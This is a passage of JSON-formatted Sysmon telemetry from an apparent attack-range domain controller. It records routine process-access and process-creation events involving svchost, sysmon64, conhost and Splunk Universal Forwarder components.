11:51:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2678,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:05.331\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:05.331","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2679,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:05.331\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:05.331","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2680,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:05.331\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4029-5F2D-0000-001087870400}\r\nTargetProcessId: 3148\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:05.331","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4029-5F2D-0000-001087870400}","TargetProcessId":"3148","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2681,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:06.975\r\nProcessGuid: {90617006-402A-5F2D-0000-00107D890400}\r\nProcessId: 4388\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nFileVersion: ?\r\nDescription: ?\r\nProduct: ?\r\nCompany: ?\r\nOriginalFileName: ?\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:51:06.975","ProcessGuid":"{90617006-402A-5F2D-0000-00107D890400}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","FileVersion":"?","Description":"?","Product":"?","Company":"?","OriginalFileName":"?","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:51:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2682,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:06.973\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 4076\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-402A-5F2D-0000-00107D890400}\r\nTargetProcessId: 4388\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:06.973","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"4076","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-402A-5F2D-0000-00107D890400}","TargetProcessId":"4388","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2683,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:06.973\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-402A-5F2D-0000-00107D890400}\r\nTargetProcessId: 4388\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:06.973","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-402A-5F2D-0000-00107D890400}","TargetProcessId":"4388","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:51:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2684,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:06.973\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:06.973","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2685,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:06.973\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:06.973","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2686,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:06.973\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:06.973","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4